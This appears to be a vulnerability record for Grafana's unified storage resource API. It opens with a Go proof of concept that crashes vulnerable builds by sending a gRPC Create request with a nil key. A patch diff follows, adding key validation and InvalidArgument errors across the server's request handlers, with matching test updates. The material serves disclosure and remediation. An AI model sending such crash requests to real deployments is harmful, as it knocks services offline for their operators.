Denial of Service (Crash) via nil or invalid request key in resource API

Proof of Concept (pre-fix behavior): Goal: Demonstrate that sending a request with a nil Key could crash the storage server. The exact client and proto definitions vary by environment, but the following demonstrates the exploit surface using a Go gRPC client pattern with the generated resource proto definitions. Prerequisites: - A Grafana Grafana deployment running a vulnerable build (<= 12.4.0) exposing the storage unified resource service over gRPC. - The generated protobuf client for the resource service (e.g., package path like github.com/grafana/grafana/pkg/genproto/resource). - Proper authentication/metadata as required by the server (omitted here for brevity). Go example (illustrative; adjust import paths to your generated pb package and endpoint): package main import ( "context" "log" "time" "google.golang.org/grpc" pb "github.com/yourorg/yourrepo/pkg/genproto/resource" // replace with actual import path ) func main() { // Connect to the storage unified resource service conn, err := grpc.Dial("localhost:50051", grpc.WithInsecure(), grpc.WithBlock()) if err != nil { log.Fatalf("failed to connect: %v", err) } defer conn.Close() client := pb.NewResourceServiceClient(conn) // Construct a CreateRequest with a nil Key to trigger the edge-case req := &pb.CreateRequest{ // Key intentionally left nil to exercise the vulnerability surface // Other required fields may be present in your proto; omit Key only for the PoC } ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() // This call would crash on a vulnerable build; on a patched build it should return an error if _, err := client.Create(ctx, req); err != nil { log.Printf("server returned error (expected on patched builds or when invalid input is rejected): %v", err) } else { log.Printf("unexpected success: the server accepted a nil Key") } } Expected behavior (pre-fix): the server would panic/crash due to nil Key being dereferenced in the Create handler. Expected behavior (post-fix): the server returns a gRPC error with InvalidArgument indicating an invalid request key, and does not crash.

diff --git a/pkg/storage/unified/resource/list_with_field_selectors_test.go b/pkg/storage/unified/resource/list_with_field_selectors_test.go index c623226e598d7..8112d0a899a7c 100644 --- a/pkg/storage/unified/resource/list_with_field_selectors_test.go +++ b/pkg/storage/unified/resource/list_with_field_selectors_test.go @@ -28,7 +28,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { req: &resourcepb.ListRequest{ Source: resourcepb.ListRequest_STORE, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, }, @@ -38,7 +38,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { req: &resourcepb.ListRequest{ Source: resourcepb.ListRequest_HISTORY, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, }, @@ -48,7 +48,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { req: &resourcepb.ListRequest{ Source: resourcepb.ListRequest_STORE, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, }, }, expectedAllowed: false, @@ -58,7 +58,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { Source: resourcepb.ListRequest_STORE, VersionMatchV2: resourcepb.ResourceVersionMatchV2_Exact, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, }, @@ -69,7 +69,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { Source: resourcepb.ListRequest_STORE, VersionMatchV2: resourcepb.ResourceVersionMatchV2_NotOlderThan, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, }, @@ -79,7 +79,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { req: &resourcepb.ListRequest{ Source: resourcepb.ListRequest_STORE, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "advisor.grafana.app"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "advisor.grafana.app"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, }, @@ -89,7 +89,7 @@ func TestUseFieldSelectorSearch(t *testing.T) { req: &resourcepb.ListRequest{ Source: resourcepb.ListRequest_STORE, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "provisioning.grafana.app"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "provisioning.grafana.app"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, }, @@ -117,7 +117,7 @@ func TestFilterFieldSelectors(t *testing.T) { "removes metadata.namespace and keep valid field": { req: &resourcepb.ListRequest{ Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{ {Key: "metadata.namespace", Operator: "=", Values: []string{"ns"}}, {Key: "spec.foo", Operator: "="}, @@ -129,7 +129,7 @@ func TestFilterFieldSelectors(t *testing.T) { "removes multiple unsupported fields": { req: &resourcepb.ListRequest{ Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{ {Key: "metadata.namespace", Operator: "=", Values: []string{"ns", "other"}}, {Key: "spec.foo", Operator: "!="}, @@ -164,7 +164,7 @@ func TestListWithFieldSelectors(t *testing.T) { Results: &resourcepb.ResourceTable{ Rows: []*resourcepb.ResourceTableRow{ { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "a"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "a"}, ResourceVersion: 1, SortFields: []string{"s1"}, }, @@ -176,7 +176,7 @@ func TestListWithFieldSelectors(t *testing.T) { req := &resourcepb.ListRequest{ Limit: 10, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, } @@ -197,12 +197,12 @@ func TestListWithFieldSelectors(t *testing.T) { Results: &resourcepb.ResourceTable{ Rows: []*resourcepb.ResourceTableRow{ { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "a"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "a"}, ResourceVersion: 1, SortFields: []string{"s1"}, }, { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "b"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "b"}, ResourceVersion: 2, SortFields: []string{"s2"}, }, @@ -222,7 +222,7 @@ func TestListWithFieldSelectors(t *testing.T) { req := &resourcepb.ListRequest{ Limit: 10, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, } @@ -242,12 +242,12 @@ func TestListWithFieldSelectors(t *testing.T) { Results: &resourcepb.ResourceTable{ Rows: []*resourcepb.ResourceTableRow{ { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "a"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "a"}, ResourceVersion: 1, SortFields: []string{"s1"}, }, { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "b"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "b"}, ResourceVersion: 2, SortFields: []string{"s2"}, }, @@ -259,7 +259,7 @@ func TestListWithFieldSelectors(t *testing.T) { req := &resourcepb.ListRequest{ Limit: 1, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, } @@ -288,12 +288,12 @@ func TestListWithFieldSelectors(t *testing.T) { Results: &resourcepb.ResourceTable{ Rows: []*resourcepb.ResourceTableRow{ { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "b"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "b"}, ResourceVersion: 2, SortFields: []string{"s2"}, }, { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "c"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "c"}, ResourceVersion: 2, SortFields: []string{"s3"}, }, @@ -306,7 +306,7 @@ func TestListWithFieldSelectors(t *testing.T) { Limit: 1, NextPageToken: continueToken, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, } @@ -339,12 +339,12 @@ func TestListWithFieldSelectors(t *testing.T) { Results: &resourcepb.ResourceTable{ Rows: []*resourcepb.ResourceTableRow{ { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "a"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "a"}, ResourceVersion: 1, SortFields: []string{"s1"}, }, { - Key: &resourcepb.ResourceKey{Namespace: "ns", Group: "g", Resource: "r", Name: "b"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx", Group: "grp", Resource: "res", Name: "b"}, ResourceVersion: 2, SortFields: []string{"s2"}, }, @@ -356,7 +356,7 @@ func TestListWithFieldSelectors(t *testing.T) { req := &resourcepb.ListRequest{ Limit: 10, Options: &resourcepb.ListOptions{ - Key: &resourcepb.ResourceKey{Namespace: "ns"}, + Key: &resourcepb.ResourceKey{Namespace: "nsx"}, Fields: []*resourcepb.Requirement{{Key: "spec.foo"}}, }, } diff --git a/pkg/storage/unified/resource/server.go b/pkg/storage/unified/resource/server.go index 636853e4df4ec..adb846e55c93e 100644 --- a/pkg/storage/unified/resource/server.go +++ b/pkg/storage/unified/resource/server.go @@ -984,7 +984,7 @@ func (s *server) Create(ctx context.Context, req *resourcepb.CreateRequest) (*re defer s.inflight.Done() if r := verifyRequestKey(req.Key); r != nil { - return nil, fmt.Errorf("invalid request key: %s", r.Message) + return nil, status.Error(codes.InvalidArgument, r.Message) } rsp := &resourcepb.CreateResponse{} @@ -1108,6 +1108,10 @@ func (s *server) Update(ctx context.Context, req *resourcepb.UpdateRequest) (*re } defer s.inflight.Done() + if r := verifyRequestKey(req.Key); r != nil { + return nil, status.Error(codes.InvalidArgument, r.Message) + } + rsp := &resourcepb.UpdateResponse{} user, ok := claims.AuthInfoFrom(ctx) if !ok || user == nil { @@ -1201,6 +1205,10 @@ func (s *server) Delete(ctx context.Context, req *resourcepb.DeleteRequest) (*re } defer s.inflight.Done() + if r := verifyRequestKey(req.Key); r != nil { + return nil, status.Error(codes.InvalidArgument, r.Message) + } + rsp := &resourcepb.DeleteResponse{} user, ok := claims.AuthInfoFrom(ctx) if !ok || user == nil { @@ -1317,8 +1325,12 @@ func (s *server) Read(ctx context.Context, req *resourcepb.ReadRequest) (*resour }}, nil } - if req.Key.Resource == "" { - return &resourcepb.ReadResponse{Error: NewBadRequestError("missing resource")}, nil + // Don't validate the name format here: a lookup with an odd or + // invalid-looking name should fall through to the backend and surface as + // NotFound, matching K8s Get semantics. Strict name validation belongs on + // writes (Create/Update/Delete). + if r := verifyRequestKeyCollection(req.Key); r != nil { + return nil, status.Error(codes.InvalidArgument, r.Message) } var ( @@ -1374,9 +1386,16 @@ func (s *server) read(ctx context.Context, user claims.AuthInfo, req *resourcepb func (s *server) List(ctx context.Context, req *resourcepb.ListRequest) (*resourcepb.ListResponse, error) { ctx, span := tracer.Start(ctx, "resource.server.List") - span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource)) defer span.End() + if req.Options == nil { + return nil, status.Error(codes.InvalidArgument, "missing list options") + } + if r := verifyRequestKeyCollection(req.Options.Key); r != nil { + return nil, status.Error(codes.InvalidArgument, r.Message) + } + span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource)) + // The history + trash queries do not yet support additional filters if req.Source != resourcepb.ListRequest_STORE { if len(req.Options.Fields) > 0 || len(req.Options.Labels) > 0 { @@ -1689,6 +1708,13 @@ func (s *server) Watch(req *resourcepb.WatchRequest, srv resourcepb.ResourceStor return apierrors.NewUnauthorized("no user found in context") } + if req.Options == nil { + return status.Error(codes.InvalidArgument, "missing watch options") + } + if r := verifyRequestKeyCollection(req.Options.Key); r != nil { + return status.Error(codes.InvalidArgument, r.Message) + } + key := req.Options.Key //nolint:staticcheck // SA1019: Compile is deprecated but BatchCheck is not yet fully implemented checker, _, err := s.access.Compile(ctx, user, claims.ListRequest{ diff --git a/pkg/storage/unified/resource/server_test.go b/pkg/storage/unified/resource/server_test.go index 098451d791603..fdbfbfd2b02e0 100644 --- a/pkg/storage/unified/resource/server_test.go +++ b/pkg/storage/unified/resource/server_test.go @@ -21,7 +21,9 @@ import ( "github.com/stretchr/testify/require" "golang.org/x/sync/errgroup" "google.golang.org/grpc" + "google.golang.org/grpc/codes" "google.golang.org/grpc/metadata" + "google.golang.org/grpc/status" "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured" authlib "github.com/grafana/authlib/types" @@ -280,6 +282,7 @@ func TestSimpleServer(t *testing.T) { }) require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) // invalid resource key = &resourcepb.ResourceKey{ @@ -295,6 +298,7 @@ func TestSimpleServer(t *testing.T) { }) require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) // invalid namespace key = &resourcepb.ResourceKey{ @@ -310,6 +314,7 @@ func TestSimpleServer(t *testing.T) { }) require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) // invalid name key = &resourcepb.ResourceKey{ @@ -325,6 +330,7 @@ func TestSimpleServer(t *testing.T) { }) require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) // legacy name - valid key = &resourcepb.ResourceKey{ @@ -397,6 +403,7 @@ func TestSimpleServer(t *testing.T) { require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) } // resource @@ -415,6 +422,7 @@ func TestSimpleServer(t *testing.T) { require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) } // namespace @@ -438,6 +446,7 @@ func TestSimpleServer(t *testing.T) { require.Error(t, err) require.Nil(t, created) + require.Equal(t, codes.InvalidArgument, status.Code(err)) } })